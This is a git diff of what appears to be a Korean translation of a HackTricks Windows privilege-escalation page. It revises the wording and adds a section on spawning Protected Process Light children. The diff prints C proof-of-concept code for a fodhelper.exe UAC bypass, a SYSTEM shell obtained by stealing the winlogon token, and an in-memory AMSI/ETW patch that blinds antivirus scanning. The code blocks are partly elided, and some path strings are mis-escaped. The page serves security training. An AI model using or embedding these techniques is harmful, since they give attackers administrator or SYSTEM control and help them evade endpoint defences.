||||
---
|
||||
|
||||
## UAC 우회 – `fodhelper.exe` 레지스트리 하이재킹 (중간 → 높은 무결성)
|
||||
신뢰할 수 있는 바이너리 **`fodhelper.exe`** 가 실행될 때, 필터링 없이 아래의 레지스트리 경로를 조회합니다 **`DelegateExecute` 동사**. 해당 키 아래에 우리의 명령을 심음으로써 공격자는 파일을 디스크에 드롭하지 않고 UAC를 우회할 수 있습니다.
|
||||
## UAC Bypass – `fodhelper.exe` Registry Hijack (Medium → High integrity)
|
||||
신뢰된 바이너리 **`fodhelper.exe`**가 실행될 때, 아래 레지스트리 경로를 조회하며 **`DelegateExecute` 동사를 필터링하지 않습니다**. 해당 키 아래에 명령을 심으면 공격자는 파일을 디스크에 쓰지 *않고* UAC를 우회할 수 있습니다.
|
||||
|
||||
*`fodhelper.exe`에 의해 조회된 레지스트리 경로*
|
||||
*`fodhelper.exe`가 조회하는 레지스트리 경로*
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
최소한의 PoC로 상승된 `cmd.exe`를 실행합니다:
|
||||
권한이 상승된 `cmd.exe`를 실행하는 최소한의 PoC:
|
||||
```c
|
||||
// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
@ -61,12 +61,12 @@ system("fodhelper.exe");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
*Windows 10 22H2 및 Windows 11 23H2(2025년 7월 패치)에서 테스트됨. Microsoft가 `DelegateExecute` 경로의 누락된 무결성 검사를 수정하지 않았기 때문에 우회가 여전히 작동합니다.*
|
||||
*Windows 10 22H2 및 Windows 11 23H2(2025년 7월 패치)에서 테스트했습니다. Microsoft가 `DelegateExecute` 경로의 누락된 무결성 검사를 수정하지 않아 이 우회가 여전히 작동합니다.*
|
||||
|
||||
---
|
||||
|
||||
## 토큰 중복을 통한 SYSTEM 셸 생성 (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
|
||||
현재 프로세스가 **둘 다** `SeDebug` 및 `SeImpersonate` 권한을 보유하고 있는 경우(많은 서비스 계정에서 일반적), `winlogon.exe`에서 토큰을 훔쳐 복제하고 상승된 프로세스를 시작할 수 있습니다:
|
||||
## 토큰 복제를 통한 SYSTEM 쉘 획득 (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
|
||||
현재 프로세스가 **둘 다** `SeDebug` 및 `SeImpersonate` 권한을 보유한 경우(많은 서비스 계정에서 일반적임), `winlogon.exe`의 토큰을 훔쳐 복제한 뒤 권한 상승된 프로세스를 시작할 수 있습니다:
|
||||
```c
|
||||
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
|
||||
#include <windows.h>
|
||||
@ -102,7 +102,7 @@ DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPri
|
||||
STARTUPINFOW si = { .cb = sizeof(si) };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
|
||||
L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
|
||||
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
|
||||
NULL, NULL, &si, &pi)) {
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
@ -114,7 +114,7 @@ if (dupToken) CloseHandle(dupToken);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
더 깊은 설명은 다음을 참조하십시오:
|
||||
작동 방식에 대한 더 자세한 설명은 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
sedebug-+-seimpersonate-copy-token.md
|
||||
@ -122,8 +122,8 @@ sedebug-+-seimpersonate-copy-token.md
|
||||
|
||||
---
|
||||
|
||||
## 인메모리 AMSI 및 ETW 패치 (방어 회피)
|
||||
대부분의 현대 AV/EDR 엔진은 악성 행동을 검사하기 위해 **AMSI**와 **ETW**에 의존합니다. 현재 프로세스 내에서 두 인터페이스를 조기에 패치하면 스크립트 기반 페이로드(예: PowerShell, JScript)가 스캔되는 것을 방지할 수 있습니다.
|
||||
## In-Memory AMSI & ETW Patch (Defence Evasion)
|
||||
대부분의 최신 AV/EDR 엔진은 악성 동작을 검사하기 위해 **AMSI**와 **ETW**에 의존합니다. 현재 프로세스 내부에서 이 두 인터페이스를 조기에 패치하면 스크립트 기반 페이로드(예: PowerShell, JScript)가 스캔되는 것을 방지할 수 있습니다.
|
||||
```c
|
||||
// gcc -o patch_amsi.exe patch_amsi.c -lntdll
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
@ -150,12 +150,56 @@ MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
*위의 패치는 프로세스 로컬입니다; 이를 실행한 후 새로운 PowerShell을 생성하면 AMSI/ETW 검사가 없이 실행됩니다.*
|
||||
*위의 패치는 프로세스 로컬입니다; 이를 실행한 뒤 새 PowerShell을 생성하면 AMSI/ETW 검사 없이 실행됩니다.*
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
## 자식 프로세스를 Protected Process Light (PPL)로 생성
|
||||
생성 시 `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL`를 사용하여 자식 프로세스에 대해 PPL 보호 수준을 요청합니다. 이 API는 문서화되어 있으며 대상 이미지가 요청된 서명자 클래스(Windows/WindowsLight/Antimalware/LSA/WinTcb)용으로 서명되어 있어야만 성공합니다.
|
||||
```c
|
||||
// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
|
||||
#include <windows.h>
|
||||
|
||||
int wmain(void) {
|
||||
STARTUPINFOEXW si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
si.StartupInfo.cb = sizeof(si);
|
||||
|
||||
SIZE_T attrSize = 0;
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
|
||||
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
|
||||
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
|
||||
|
||||
DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
|
||||
UpdateProcThreadAttribute(si.lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
|
||||
&lvl, sizeof(lvl), NULL, NULL);
|
||||
|
||||
if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
|
||||
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
|
||||
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
|
||||
return 1;
|
||||
}
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
일반적으로 가장 자주 사용되는 레벨:
|
||||
- `PROTECTION_LEVEL_WINDOWS_LIGHT` (2)
|
||||
- `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3)
|
||||
- `PROTECTION_LEVEL_LSA_LIGHT` (4)
|
||||
|
||||
결과는 Process Explorer/Process Hacker에서 Protection 열을 확인하여 검증하세요.
|
||||
|
||||
---
|
||||
|
||||
## 참고자료
|
||||
* Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024)
|
||||
* SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
|
||||
* CreateProcessAsPPL – minimal PPL process launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
|
||||
* Microsoft Docs – STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user